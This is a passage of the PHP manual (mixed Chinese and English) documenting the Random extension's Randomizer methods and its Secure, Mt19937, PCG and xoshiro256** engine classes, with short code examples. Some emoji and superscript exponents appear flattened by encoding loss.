// a right-open interval, which will never return 1.
printf("Wrong scaling: %.17g", $randomizer->nextFloat() * ($max - $min) + $min);

// Correct:
// $randomizer->getFloat($min, $max, \Random\IntervalBoundary::ClosedOpen);
?>

以上示例会输出：

Wrong scaling: 4.5

参见

  • Random\Randomizer::getFloat() - Get a uniformly selected float

User Contributed Notes

There are no user contributed notes for this page.


Get a positive integer

  • ? Random\Randomizer::nextFloat
  • Random\Randomizer::pickArrayKeys ?
  • PHP Manual
  • Random\Randomizer
  • Get a positive integer

Random\Randomizer::nextInt

(PHP 8 >= 8.2.0)

Random\Randomizer::nextInt — Get a positive integer

说明

public Random\Randomizer::nextInt(): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

A positive integer between 0 and a maximum value depending on the number of bytes returned from Random\Engine::generate(). The exact maximum can be calculated as 2$engine_bytes * 8 - 1 - 1.

错误／异常

  • To avoid inconsistencies, 32 bit PHP will throw Random\RandomException if the output size of Random\Engine::generate() exceeds 32 bits, as the selected integer cannot be returned losslessly. This affects the native 64 bit engines Random\Engine\PcgOneseq128XslRr64 and Random\Engine\Xoshiro256StarStar. Any userland engine returning more than 4 bytes of randomness is also affected.
  • 底层 Random\Randomizer::$engine 的 Random\Engine::generate() 方法抛出的任何 Throwable。

示例

Example #1 Random\Randomizer::nextInt() example

<?php
$r = new \Random\Randomizer();

// Random "next" integer:
echo $r->nextInt(), "\n";
?>

以上示例的输出类似于：

8041689838856078718

User Contributed Notes

There are no user contributed notes for this page.


Select random array keys

  • ? Random\Randomizer::nextInt
  • Random\Randomizer::__serialize ?
  • PHP Manual
  • Random\Randomizer
  • Select random array keys

Random\Randomizer::pickArrayKeys

(PHP 8 >= 8.2.0)

Random\Randomizer::pickArrayKeys — Select random array keys

说明

public Random\Randomizer::pickArrayKeys(array $array, int $num): array

Uniformly selects num distinct array keys of the input array.

Each key of the input array is equally likely to be returned.

Caution

The selection of the array keys depends on the internal structure of the input array. The returned array keys might be different for two equal input arrays and two Random\Engines with identical state, depending on how the input arrays have been created.

参数

array

The array whose array keys are selected.

num

The number of array keys to return; must be between 1 and the number of elements in array.

返回值

An array containing num distinct array keys of array.

The returned array will be a list (array_is_list()). It will be a subset of the array returned by array_keys().

错误／异常

  • If num is less than 1 or greater than the number of elements in array, a ValueError will be thrown.
  • 底层 Random\Randomizer::$engine 的 Random\Engine::generate() 方法抛出的任何 Throwable。

示例

Example #1 Random\Randomizer::pickArrayKeys() example

<?php
$r = new \Random\Randomizer();

$fruits = [ 'red' => '??', 'green' => '??', 'yellow' => '??', 'pink' => '??', 'purple' => '??' ];

// Pick 2 random array keys:
echo "Keys: ", implode(', ', $r->pickArrayKeys($fruits, 2)), "\n";

// Pick another 3:
echo "Keys: ", implode(', ', $r->pickArrayKeys($fruits, 3)), "\n";
?>

以上示例的输出类似于：

Keys: yellow, purple
Keys: red, green, yellow

Example #2 Picking random values

<?php
$r = new \Random\Randomizer();

$fruits = [ 'red' => '??', 'green' => '??', 'yellow' => '??', 'pink' => '??', 'purple' => '??' ];

$keys = $r->pickArrayKeys($fruits, 2);
// Look up the values for the picked keys.
$selection = array_map(
static fn ($key) => $fruits[$key],
$keys
);

echo "Values: ", implode(', ', $selection), "\n";
?>

以上示例的输出类似于：

Values: ??, ??

参见

  • array_keys() - 返回数组中部分的或所有的键名

User Contributed Notes

There are no user contributed notes for this page.


Serializes the Randomizer object

  • ? Random\Randomizer::pickArrayKeys
  • Random\Randomizer::shuffleArray ?
  • PHP Manual
  • Random\Randomizer
  • Serializes the Randomizer object

Random\Randomizer::__serialize

(PHP 8 >= 8.2.0)

Random\Randomizer::__serialize — Serializes the Randomizer object

说明

public Random\Randomizer::__serialize(): array

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

示例

Example #1 Random\Randomizer::__serialize() example

<?php

/* ... */

?>

以上示例的输出类似于：

...

User Contributed Notes

There are no user contributed notes for this page.


Get a permutation of an array

  • ? Random\Randomizer::__serialize
  • Random\Randomizer::shuffleBytes ?
  • PHP Manual
  • Random\Randomizer
  • Get a permutation of an array

Random\Randomizer::shuffleArray

(PHP 8 >= 8.2.0)

Random\Randomizer::shuffleArray — Get a permutation of an array

说明

public Random\Randomizer::shuffleArray(array $array): array

Returns a uniformly selected permutation of the input array.

Each possible permutation of the input array is equally likely to be returned.

参数

array

The array whose values are shuffled.

The input array will not be modified.

返回值

A permutation of the values of array.

Array keys of the input array will not be preserved; the returned array will be a list (array_is_list()).

错误／异常

  • 底层 Random\Randomizer::$engine 的 Random\Engine::generate() 方法抛出的任何 Throwable。

示例

Example #1 Random\Randomizer::shuffleArray() example

<?php
$r = new \Random\Randomizer();

$fruits = [ 'red' => '??', 'green' => '??', 'yellow' => '??', 'pink' => '??', 'purple' => '??' ];

// Shuffle array:
echo "Salad: ", implode(', ', $r->shuffleArray($fruits)), "\n";

// Shuffle again:
echo "Another Salad: ", implode(', ', $r->shuffleArray($fruits)), "\n";
?>

以上示例的输出类似于：

Salad: ??, ??, ??, ??, ??
Another Salad: ??, ??, ??, ??, ??

User Contributed Notes

There are no user contributed notes for this page.


Get a byte-wise permutation of a string

  • ? Random\Randomizer::shuffleArray
  • Random\Randomizer::__unserialize ?
  • PHP Manual
  • Random\Randomizer
  • Get a byte-wise permutation of a string

Random\Randomizer::shuffleBytes

(PHP 8 >= 8.2.0)

Random\Randomizer::shuffleBytes — Get a byte-wise permutation of a string

说明

public Random\Randomizer::shuffleBytes(string $bytes): string

Returns a uniformly selected permutation of the input bytes.

Each possible permutation of the input bytes is equally likely to be returned.

参数

bytes

The string whose bytes are shuffled.

The input string will not be modified.

返回值

A permutation of the bytes of bytes.

错误／异常

  • 底层 Random\Randomizer::$engine 的 Random\Engine::generate() 方法抛出的任何 Throwable。

示例

Example #1 Random\Randomizer::shuffleBytes() example

<?php
$r = new \Random\Randomizer();

// Shuffle bytes in a string:
echo "?", $r->shuffleBytes("PHP is great!"), "?\n";
?>

以上示例的输出类似于：

? ga rHs!PPiet?

Example #2 Byte-wise shuffling breaks Unicode characters

<?php
$r = new \Random\Randomizer();

$unicode = "??, ??, ??, ??, ??";
$shuffled = $r->shuffleBytes( $unicode );

// Byte-wise shuffling of non-ASCII characters destroys them,
// resulting in invalid sequences (indicated by the Unicode
// replacement character) or even entirely different characters
// appearing in the output.
echo "Original: ", $unicode, "\n";
echo "Shuffled: ?", $shuffled, "?\n";
echo "Shuffled Bytes: ", bin2hex($shuffled), "\n";
?>

以上示例的输出类似于：

Original: ??, ??, ??, ??, ??
Shuffled: ?? ??,???????,? ?? ?, ?,???
Shuffled Bytes: 87208e912c8d9fa5f0f0f09f8d9f2cf09f208c9d20f02c209f2c8d8d

User Contributed Notes

okerem@github 02-Dec-2023 03:35
For a unicode-safe shuffling;

<?php
$r = new \Random\Randomizer();
$s = join($r->shuffleArray(mb_str_split($string)));


Deserializes the data parameter into a Randomizer object

  • ? Random\Randomizer::shuffleBytes
  • Random\Engine ?
  • PHP Manual
  • Random\Randomizer
  • Deserializes the data parameter into a Randomizer object

Random\Randomizer::__unserialize

(PHP 8 >= 8.2.0)

Random\Randomizer::__unserialize — Deserializes the data parameter into a Randomizer object

说明

public Random\Randomizer::__unserialize(array $data): void

Warning

本函数还未编写文档，仅有参数列表。

参数

data

返回值

没有返回值。

示例

Example #1 Random\Randomizer::__unserialize() example

<?php

/* ... */

?>

以上示例的输出类似于：

...

User Contributed Notes

There are no user contributed notes for this page.


The Random\Engine interface

(PHP 8 >= 8.2.0)

简介

A Random\Engine provides a low-level source of randomness by returning random bytes that are consumed by high-level APIs to perform their operations. The Random\Engine interface allows swapping out the algorithm used to generate randomness, because each algorithm makes different tradeoffs to fit specific use-cases. Some algorithms are very fast, but generate lower-quality randomness, whereas other algorithms are slower, but generate better randomness, up to cryptographically secure randomness as provided by the Random\Engine\Secure engine.

PHP provides several Random\Engines out of the box to accomodate different use-cases. The Random\Engine\Secure engine that is backed by a CSPRNG is the recommended safe default choice, unless the application requires either reproducible sequences or very high performance.

接口摘要

interface Random\Engine {
/* 方法 */
public generate(): string
}

Table of Contents

  • Random\Engine::generate — Generates randomness

User Contributed Notes

There are no user contributed notes for this page.


Generates randomness

  • ? Random\Engine
  • Random\CryptoSafeEngine ?
  • PHP Manual
  • Random\Engine
  • Generates randomness

Random\Engine::generate

(PHP 8 >= 8.2.0)

Random\Engine::generate — Generates randomness

说明

public Random\Engine::generate(): string

Returns randomness and advances the algorithm's state by one step.

The randomness is represented by a binary string containing random bytes. This representation allows to unambiguously interpret the random bits generated by the algorithm, for example to accomodate different output sizes used by different algorithms.

Algorithms that natively operate on integer values should return the integer in little-endian byte order, for example by leveraging the pack() function with the P format code. The high-level interface provided by the Random\Randomizer will interpret the returned random bytes as unsigned little-endian integers if a numeric representation is required.

It is strongly recommended that each bit of the returned string is uniformly and independently selected, as some applications require randomness based on the bit-level to work correctly. For example linear congruential generators often generate lower-quality randomness for the less significant bits of the return integer value and thus would not be appropriate for applications that require bit-level randomness.

参数

此函数没有参数。

返回值

A non-empty string containing random bytes.

Note: The Random\Randomizer works with unsigned 64 bit integers internally. If the returned string contains more than 64 bit (8 byte) of randomness the exceeding bytes will be ignored. Other applications may be able to process more than 64 bit at once.

错误／异常

  • If generating randomness fails, a Random\RandomException should be thrown. Any other Exception thrown during generation should be caught and wrapped into a Random\RandomException.
  • If the returned string is empty, a Random\BrokenRandomEngineError will be thrown by the Random\Randomizer.
  • If the implemented algorithm is severely biased, a Random\BrokenRandomEngineError may be thrown by the Random\Randomizer to prevent infinite loops if rejection sampling is required to return unbiased results.

示例

Example #1 Random\Engine::generate() example

<?php
/**
* Implements a Linear Congruential Generator with modulus 65536,
* multiplier 61 and increment 17 returning an 8 Bit integer.
*
* Note: This engine is suitable for demonstration purposes only.
* Linear Congruential Generators generally generate low
* quality randomness and this specific implementation has
* a very short 16 Bit period that is unsuitable for
* almost any real-world use case.
*/
final class LinearCongruentialGenerator implements \Random\Engine
{
private int $state;

public function __construct(?int $seed = null)
{
if ($seed === null) {
$seed = random_int(0, 0xffff);
}

$this->state = $seed & 0xffff;
}

public function generate(): string
{
$this->state = (61 * $this->state + 17) & 0xffff;

return pack('C', $this->state >> 8);
}
}

$r = new \Random\Randomizer(
new LinearCongruentialGenerator(seed: 1)
);

echo "Lucky Number: ", $r->getInt(0, 99), "\n";
?>

以上示例会输出：

Lucky Number: 4

User Contributed Notes

There are no user contributed notes for this page.


The Random\CryptoSafeEngine interface

(PHP 8 >= 8.2.0)

简介

A marker interface indicating that the Random\Engine returns cryptographically secure randomness.

接口摘要

interface Random\CryptoSafeEngine extends Random\Engine {
/* 继承的方法 */
public Random\Engine::generate(): string
}

User Contributed Notes

There are no user contributed notes for this page.


The Random\Engine\Secure class

(PHP 8 >= 8.2.0)

简介

Generates cryptographically secure randomness using the operating system's CSPRNG.

The randomness generated by this Random\Engine is suitable for all applications, including the generation of long-term secrets, such as encryption keys.

The Random\Engine\Secure engine is the recommended safe default choice, unless the application requires either reproducible sequences or very high performance.

类摘要

final class Random\Engine\Secure implements Random\CryptoSafeEngine {
/* 方法 */
public generate(): string
}

Table of Contents

  • Random\Engine\Secure::generate — Generate cryptographically secure randomness

User Contributed Notes

There are no user contributed notes for this page.


Generate cryptographically secure randomness

  • ? Random\Engine\Secure
  • Random\Engine\Mt19937 ?
  • PHP Manual
  • Random\Engine\Secure
  • Generate cryptographically secure randomness

Random\Engine\Secure::generate

(PHP 8 >= 8.2.0)

Random\Engine\Secure::generate — Generate cryptographically secure randomness

说明

public Random\Engine\Secure::generate(): string

Returns cryptographically secure randomness.

此函数使用的随机性来源先后顺序如下：

  • Linux：» getrandom()、/dev/urandom

  • FreeBSD >= 12（PHP >= 7.3）：» getrandom()、/dev/urandom

  • Windows（PHP >= 7.2）：» CNG-API

    Windows：» CryptGenRandom

  • macOS（PHP >= 8.2；>= 8.1.9；>= 8.0.22 如果 CCRandomGenerateBytes 在编译时可用）：CCRandomGenerateBytes()

    macOS（PHP >= 8.1；>= 8.0.2）：arc4random_buf()、/dev/urandom

  • NetBSD >= 7（PHP >= 7.1；>= 7.0.1）：arc4random_buf()、/dev/urandom

  • OpenBSD >= 5.5（PHP >= 7.1；>= 7.0.1）：arc4random_buf()、/dev/urandom

  • DragonflyBSD（PHP >= 8.1）：» getrandom()、/dev/urandom

  • Solaris（PHP >= 8.1）：» getrandom()、/dev/urandom

  • 未提及的 PHP 版本和操作系统的组合：/dev/urandom
  • 如果没有可用的来源或它们都无法生成随机性，则将抛出 Random\RandomException。

参数

此函数没有参数。

返回值

A string containing PHP_INT_SIZE cryptographically secure random bytes.

错误／异常

  • 如果没有找到合适的随机性来源，将会抛出 Random\RandomException。

User Contributed Notes

There are no user contributed notes for this page.


Random\Engine\Mt19937 类

(PHP 8 >= 8.2.0)

简介

实现 » Mt19937（"梅森旋转"）算法。

类摘要

final class Random\Engine\Mt19937 implements Random\Engine {
/* 方法 */
public __construct(?int $seed = null, int $mode = MT_RAND_MT19937)
public __debugInfo(): array
public generate(): string
public __serialize(): array
public __unserialize(array $data): void
}

Table of Contents

  • Random\Engine\Mt19937::__construct — Constructs a new Mt19937 engine
  • Random\Engine\Mt19937::__debugInfo — Returns the internal state of the engine
  • Random\Engine\Mt19937::generate — Generate 32 bits of randomness
  • Random\Engine\Mt19937::__serialize — Serializes the Mt19937 object
  • Random\Engine\Mt19937::__unserialize — Deserializes the data parameter into a Mt19937 object

User Contributed Notes

There are no user contributed notes for this page.


Constructs a new Mt19937 engine

  • ? Random\Engine\Mt19937
  • Random\Engine\Mt19937::__debugInfo ?
  • PHP Manual
  • Random\Engine\Mt19937
  • Constructs a new Mt19937 engine

Random\Engine\Mt19937::__construct

(PHP 8 >= 8.2.0)

Random\Engine\Mt19937::__construct — Constructs a new Mt19937 engine

说明

public Random\Engine\Mt19937::__construct(?int $seed = null, int $mode = MT_RAND_MT19937)

Caution

由于 Mt19937（"梅森旋转算法"）引擎仅接受 32 位整数作为种子，因此尽管 Mt19937 的范围为 219937-1，但可能的随机序列数量仅限于 232（即 4,294,967,296）。

当依赖隐式或显式随机播种时，重复会出现得更早。根据生日问题，在少于 80,000 个随机生成的种子后，预计重复种子的概率为 50%。在随机生成大约 30,000 个种子后，重复种子的概率为 10%。

This makes Mt19937 unsuitable for applications where duplicated sequences must not happen with more than a negligible probability. 如果需要可重复的种子，Random\Engine\Xoshiro256StarStar 和 Random\Engine\PcgOneseq128XslRr64 引擎都支持更大的种子，它们不太可能随机碰撞。如果不需要再现性，Random\Engine\Secure 引擎提供加密安全随机性。

Warning

本函数还未编写文档，仅有参数列表。

参数

seed

Fills the state with values generated with a linear congruential generator that was seeded with seed interpreted as an unsigned 32 bit integer.

If seed is omitted or null, a random unsigned 32 bit integer will be used.

mode

Use one of the following constants to specify the implementation of the algorithm to use.

  • MT_RAND_MT19937: The correct Mt19937 implementation.
  • MT_RAND_PHP: An incorrect implementation for backwards compatibility with mt_srand() prior to PHP 7.1.0.

Warning

本特性已自 PHP 8.3.0 起废弃。强烈建议不要使用本特性。

示例

Example #1 Random\Engine\Mt19937::__construct() example

<?php
// Uses a random 32 Bit seed.
$e = new \Random\Engine\Mt19937();

$r = new \Random\Randomizer($e);
?>

User Contributed Notes

There are no user contributed notes for this page.


Returns the internal state of the engine

  • ? Random\Engine\Mt19937::__construct
  • Random\Engine\Mt19937::generate ?
  • PHP Manual
  • Random\Engine\Mt19937
  • Returns the internal state of the engine

Random\Engine\Mt19937::__debugInfo

(PHP 8 >= 8.2.0)

Random\Engine\Mt19937::__debugInfo — Returns the internal state of the engine

说明

public Random\Engine\Mt19937::__debugInfo(): array

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

示例

Example #1 Random\Engine\Mt19937::__debugInfo() example

<?php

/* ... */

?>

以上示例的输出类似于：

...

User Contributed Notes

There are no user contributed notes for this page.


Generate 32 bits of randomness

  • ? Random\Engine\Mt19937::__debugInfo
  • Random\Engine\Mt19937::__serialize ?
  • PHP Manual
  • Random\Engine\Mt19937
  • Generate 32 bits of randomness

Random\Engine\Mt19937::generate

(PHP 8 >= 8.2.0)

Random\Engine\Mt19937::generate — Generate 32 bits of randomness

说明

public Random\Engine\Mt19937::generate(): string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

A string representing an unsigned 32 bit integer in little-endian order.

User Contributed Notes

There are no user contributed notes for this page.


Serializes the Mt19937 object

  • ? Random\Engine\Mt19937::generate
  • Random\Engine\Mt19937::__unserialize ?
  • PHP Manual
  • Random\Engine\Mt19937
  • Serializes the Mt19937 object

Random\Engine\Mt19937::__serialize

(PHP 8 >= 8.2.0)

Random\Engine\Mt19937::__serialize — Serializes the Mt19937 object

说明

public Random\Engine\Mt19937::__serialize(): array

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

示例

Example #1 Random\Engine\Mt19937::__serialize() example

<?php

/* ... */

?>

以上示例的输出类似于：

...

User Contributed Notes

There are no user contributed notes for this page.


Deserializes the data parameter into a Mt19937 object

  • ? Random\Engine\Mt19937::__serialize
  • Random\Engine\PcgOneseq128XslRr64 ?
  • PHP Manual
  • Random\Engine\Mt19937
  • Deserializes the data parameter into a Mt19937 object

Random\Engine\Mt19937::__unserialize

(PHP 8 >= 8.2.0)

Random\Engine\Mt19937::__unserialize — Deserializes the data parameter into a Mt19937 object

说明

public Random\Engine\Mt19937::__unserialize(array $data): void

Warning

本函数还未编写文档，仅有参数列表。

参数

data

返回值

没有返回值。

示例

Example #1 Random\Engine\Mt19937::__unserialize() example

<?php

/* ... */

?>

以上示例的输出类似于：

...

User Contributed Notes

There are no user contributed notes for this page.


The Random\Engine\PcgOneseq128XslRr64 class

(PHP 8 >= 8.2.0)

简介

Implements a » Permuted congruential generator (PCG) with 128 bits of state, XSL and RR output transformations, and 64 bits of output.

类摘要

final class Random\Engine\PcgOneseq128XslRr64 implements Random\Engine {
/* 方法 */
public __construct(string|int|null $seed = null)
public __debugInfo(): array
public generate(): string
public jump(int $advance): void
public __serialize(): array
public __unserialize(array $data): void
}

Table of Contents

  • Random\Engine\PcgOneseq128XslRr64::__construct — Constructs a new PCG Oneseq 128 XSL RR 64 engine
  • Random\Engine\PcgOneseq128XslRr64::__debugInfo — Returns the internal state of the engine
  • Random\Engine\PcgOneseq128XslRr64::generate — Generate 64 bits of randomness
  • Random\Engine\PcgOneseq128XslRr64::jump — Efficiently move the engine ahead multiple steps
  • Random\Engine\PcgOneseq128XslRr64::__serialize — Serializes the PcgOneseq128XslRr64 object
  • Random\Engine\PcgOneseq128XslRr64::__unserialize — Deserializes the data parameter into a PcgOneseq128XslRr64 object

User Contributed Notes

There are no user contributed notes for this page.


Constructs a new PCG Oneseq 128 XSL RR 64 engine

  • ? Random\Engine\PcgOneseq128XslRr64
  • Random\Engine\PcgOneseq128XslRr64::__debugInfo ?
  • PHP Manual
  • Random\Engine\PcgOneseq128XslRr64
  • Constructs a new PCG Oneseq 128 XSL RR 64 engine

Random\Engine\PcgOneseq128XslRr64::__construct

(PHP 8 >= 8.2.0)

Random\Engine\PcgOneseq128XslRr64::__construct — Constructs a new PCG Oneseq 128 XSL RR 64 engine

说明

public Random\Engine\PcgOneseq128XslRr64::__construct(string|int|null $seed = null)

Warning

本函数还未编写文档，仅有参数列表。

参数

seed

How the internal 128 bit (16 byte) state consisting of one unsigned 128 bit integer is seeded depends on the type used as the seed.

Type | 说明
null | Fills the state with 16 random bytes generated using the CSPRNG.
int | Fills the state by setting the state to 0, advancing the engine one step, adding the value of seed interpreted as an unsigned 64 bit integer, and advancing the engine another step.
string | Fills the state by interpreting a 16 byte string as a little-endian unsigned 128 bit integer.

错误／异常

  • If the length of a string seed is not 16 bytes, a ValueError will be thrown.

示例

Example #1 Random\Engine\PcgOneseq128XslRr64::__construct() example

<?php
// Uses a random 128 Bit seed.
$e = new \Random\Engine\PcgOneseq128XslRr64();

$r = new \Random\Randomizer($e);
?>

Example #2 Deriving a seed from a string

<?php
$string = "My string seed";

// Hash the string with truncated SHA-256 using binary output
// to turn the $string into a 128 Bit seed. Using the same
// string will result in the same sequence of randomness.
$e = new \Random\Engine\PcgOneseq128XslRr64(
substr(hash('sha256', $string, binary: true), 0, 16)
);

echo bin2hex($e->generate()), "\n";
?>

以上示例会输出：

8333ef59315b16d8

User Contributed Notes

There are no user contributed notes for this page.


Returns the internal state of the engine

  • ? Random\Engine\PcgOneseq128XslRr64::__construct
  • Random\Engine\PcgOneseq128XslRr64::generate ?
  • PHP Manual
  • Random\Engine\PcgOneseq128XslRr64
  • Returns the internal state of the engine

Random\Engine\PcgOneseq128XslRr64::__debugInfo

(PHP 8 >= 8.2.0)

Random\Engine\PcgOneseq128XslRr64::__debugInfo — Returns the internal state of the engine

说明

public Random\Engine\PcgOneseq128XslRr64::__debugInfo(): array

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

示例

Example #1 Random\Engine\PcgOneseq128XslRr64::__debugInfo() example

<?php

/* ... */

?>

以上示例的输出类似于：

...

User Contributed Notes

There are no user contributed notes for this page.


Generate 64 bits of randomness

  • ? Random\Engine\PcgOneseq128XslRr64::__debugInfo
  • Random\Engine\PcgOneseq128XslRr64::jump ?
  • PHP Manual
  • Random\Engine\PcgOneseq128XslRr64
  • Generate 64 bits of randomness

Random\Engine\PcgOneseq128XslRr64::generate

(PHP 8 >= 8.2.0)

Random\Engine\PcgOneseq128XslRr64::generate — Generate 64 bits of randomness

说明

public Random\Engine\PcgOneseq128XslRr64::generate(): string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

A string representing an unsigned 64 bit integer in little-endian order.

User Contributed Notes

There are no user contributed notes for this page.


Efficiently move the engine ahead multiple steps

  • ? Random\Engine\PcgOneseq128XslRr64::generate
  • Random\Engine\PcgOneseq128XslRr64::__serialize ?
  • PHP Manual
  • Random\Engine\PcgOneseq128XslRr64
  • Efficiently move the engine ahead multiple steps

Random\Engine\PcgOneseq128XslRr64::jump

(PHP 8 >= 8.2.0)

Random\Engine\PcgOneseq128XslRr64::jump — Efficiently move the engine ahead multiple steps

说明

public Random\Engine\PcgOneseq128XslRr64::jump(int $advance): void

Moves the algorithm's state ahead by the number of steps given by advance, as if Random\Engine\PcgOneseq128XslRr64::generate() was called that many times.

参数

advance

The number of steps to move ahead; must be 0 or greater.

返回值

没有返回值。

错误／异常

  • If advance is less than 0, a ValueError will be thrown.

示例

Example #1 Random\Engine\PcgOneseq128XslRr64::jump() example

<?php
$a = new \Random\Engine\PcgOneseq128XslRr64(0);
$b = clone $a;

for ($i = 0; $i < 1_000; $i++) {
$a->generate();
}
$b->jump(1_000);

echo "A: ", bin2hex($a->generate()), "\n";
echo "B: ", bin2hex($b->generate()), "\n";
?>

以上示例会输出：

A: e6d0d5813913a424
B: e6d0d5813913a424

Example #2 Randomizer methods may call the engine more than once

<?php
$a = new \Random\Randomizer(new \Random\Engine\PcgOneseq128XslRr64(42659));
$b = new \Random\Randomizer(clone $a->engine);

$a->getInt(1, 1572864); // Performs two calls to generate().
$a->getInt(1, 1572864);

$b->engine->jump(2);

// Because the first call to ->getInt() called ->generate() twice
// the engines do not match up after performing a ->jump(2).
echo "A: ", bin2hex($a->engine->generate()), "\n";
echo "B: ", bin2hex($b->engine->generate()), "\n";

// Now the B engine matches the A engine.
echo "B: ", bin2hex($b->engine->generate()), "\n";
?>

以上示例会输出：

A: 1e9f3107d56653d0
B: a156c0086dd79d44
B: 1e9f3107d56653d0

User Contributed Notes

There are no user contributed notes for this page.


Serializes the PcgOneseq128XslRr64 object

  • ? Random\Engine\PcgOneseq128XslRr64::jump
  • Random\Engine\PcgOneseq128XslRr64::__unserialize ?
  • PHP Manual
  • Random\Engine\PcgOneseq128XslRr64
  • Serializes the PcgOneseq128XslRr64 object

Random\Engine\PcgOneseq128XslRr64::__serialize

(PHP 8 >= 8.2.0)

Random\Engine\PcgOneseq128XslRr64::__serialize — Serializes the PcgOneseq128XslRr64 object

说明

public Random\Engine\PcgOneseq128XslRr64::__serialize(): array

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

示例

Example #1 Random\Engine\PcgOneseq128XslRr64::__serialize() example

<?php

/* ... */

?>

以上示例的输出类似于：

...

User Contributed Notes

There are no user contributed notes for this page.


Deserializes the data parameter into a PcgOneseq128XslRr64 object

  • ? Random\Engine\PcgOneseq128XslRr64::__serialize
  • Random\Engine\Xoshiro256StarStar ?
  • PHP Manual
  • Random\Engine\PcgOneseq128XslRr64
  • Deserializes the data parameter into a PcgOneseq128XslRr64 object

Random\Engine\PcgOneseq128XslRr64::__unserialize

(PHP 8 >= 8.2.0)

Random\Engine\PcgOneseq128XslRr64::__unserialize — Deserializes the data parameter into a PcgOneseq128XslRr64 object

说明

public Random\Engine\PcgOneseq128XslRr64::__unserialize(array $data): void

Warning

本函数还未编写文档，仅有参数列表。

参数

data

返回值

没有返回值。

示例

Example #1 Random\Engine\PcgOneseq128XslRr64::__unserialize() example

<?php

/* ... */

?>

以上示例的输出类似于：

...

User Contributed Notes

There are no user contributed notes for this page.


Random\Engine\Xoshiro256StarStar 类

(PHP 8 >= 8.2.0)

简介

实现 » xoshiro256** 算法。

类摘要

final class Random\Engine\Xoshiro256StarStar implements Random\Engine {
/* 方法 */
public __construct(string|int|null $seed = null)
public __debugInfo(): array
public generate(): string
public jump(): void
public jumpLong(): void
public __serialize(): array
public __unserialize(array $data): void
}

Table of Contents

  • Random\Engine\Xoshiro256StarStar::__construct — Constructs a new xoshiro256** engine
  • Random\Engine\Xoshiro256StarStar::__debugInfo — Returns the internal state of the engine
  • Random\Engine\Xoshiro256StarStar::generate — Generate 64 bits of randomness
  • Random\Engine\Xoshiro256StarStar::jump — Efficiently move the engine ahead by 2^128 steps
  • Random\Engine\Xoshiro256StarStar::jumpLong — Efficiently move the engine ahead by 2^192 steps
  • Random\Engine\Xoshiro256StarStar::__serialize — Serializes the Xoshiro256StarStar object
  • Random\Engine\Xoshiro256StarStar::__unserialize — Deserializes the data parameter into a Xoshiro256StarStar object

User Contributed Notes

There are no user contributed notes for this page.


Constructs a new xoshiro256** engine

  • ? Random\Engine\Xoshiro256StarStar
  • Random\Engine\Xoshiro256StarStar::__debugInfo ?
  • PHP Manual
  • Random\Engine\Xoshiro256StarStar
  • Constructs a new xoshiro256** engine

Random\Engine\Xoshiro256StarStar::__construct

(PHP 8 >= 8.2.0)

Random\Engine\Xoshiro256StarStar::__construct — Constructs a new xoshiro256** engine

说明

public Random\Engine\Xoshiro256StarStar::__construct(string|int|null $seed = null)

Warning

本函数还未编写文档，仅有参数列表。

参数

seed

How the internal 256 bit (32 byte) state consisting of four unsigned 64 bit integers is seeded depends on the type used as the seed.

Type | 说明
null | Fills the state with 32 random bytes generated using the CSPRNG.
int | Fills the state with four consecutive values generated with the SplitMix64 algorithm that was seeded with seed interpreted as an unsigned 64 bit integer.
string | Fills the state by interpreting a 32 byte string as four little-endian unsigned 64 bit integers.

错误／异常

  • If the length of a string seed is not 32 bytes, a ValueError will be thrown.
  • If a string seed consists of 32 NUL bytes ("\x00"), a ValueError will be thrown.

示例

Example #1 Random\Engine\Xoshiro256StarStar::__construct() example

<?php
// Uses a random 256 Bit seed.
$e = new \Random\Engine\Xoshiro256StarStar();

$r = new \Random\Randomizer($e);
?>

Example #2 Deriving a seed from a string

<?php
$string = "My string seed";

// Hash the string with SHA-256 using binary output to turn the
// $string into a 256 Bit seed. Using the same string will result
// in the same sequence of randomness.
$e = new \Random\Engine\Xoshiro256StarStar(
hash('sha256', $string, binary: true)
);

echo bin2hex($e->generate()), "\n";
?>

以上示例会输出：

6e013453678388c2

User Contributed Notes

There are no user contributed notes for this page.


Returns the internal state of the engine

  • ? Random\Engine\Xoshiro256StarStar::__construct
  • Random\Engine\Xoshiro256StarStar::generate ?
  • PHP Manual
  • Random\Engine\Xoshiro256StarStar
  • Returns the internal state of the engine

Random\Engine\Xoshiro256StarStar::__debugInfo

(PHP 8 >= 8.2.0)

Random\Engine\Xoshiro256StarStar::__debugInfo — Returns the internal state of the engine

说明

public Random\Engine\Xoshiro256StarStar::__debugInfo(): array

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

示例

Example #1 Random\Engine\Xoshiro256StarStar::__debugInfo() example

<?php

/* ... */

?>

以上示例的输出类似于：

...

User Contributed Notes

There are no user contributed notes for this page.


Generate 64 bits of randomness

  • ? Random\Engine\Xoshiro256StarStar::__debugInfo
  • Random\Engine\Xoshiro256StarStar::jump ?
  • PHP Manual
  • Random\Engine\Xoshiro256StarStar
  • Generate 64 bits of randomness

Random\Engine\Xoshiro256StarStar::generate

(PHP 8 >= 8.2.0)

Random\Engine\Xoshiro256StarStar::generate — Generate 64 bits of randomness

说明

public Random\Engine\Xoshiro256StarStar::generate(): string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

A string representing an unsigned 64 bit integer in little-endian order.

User Contributed Notes

There are no user contributed notes for this page.


Efficiently move the engine ahead by 2^128 steps

  • ? Random\Engine\Xoshiro256StarStar::generate
  • Random\Engine\Xoshiro256StarStar::jumpLong ?
  • PHP Manual
  • Random\Engine\Xoshiro256StarStar
  • Efficiently move the engine ahead by 2^128 steps

Random\Engine\Xoshiro256StarStar::jump

(PHP 8 >= 8.2.0)

Random\Engine\Xoshiro256StarStar::jump — Efficiently move the engine ahead by 2^128 steps

说明

public Random\Engine\Xoshiro256StarStar::jump(): void

Moves the algorithm's state ahead by 2128 steps, as if Random\Engine\Xoshiro256StarStar::generate() was called 2128 times.

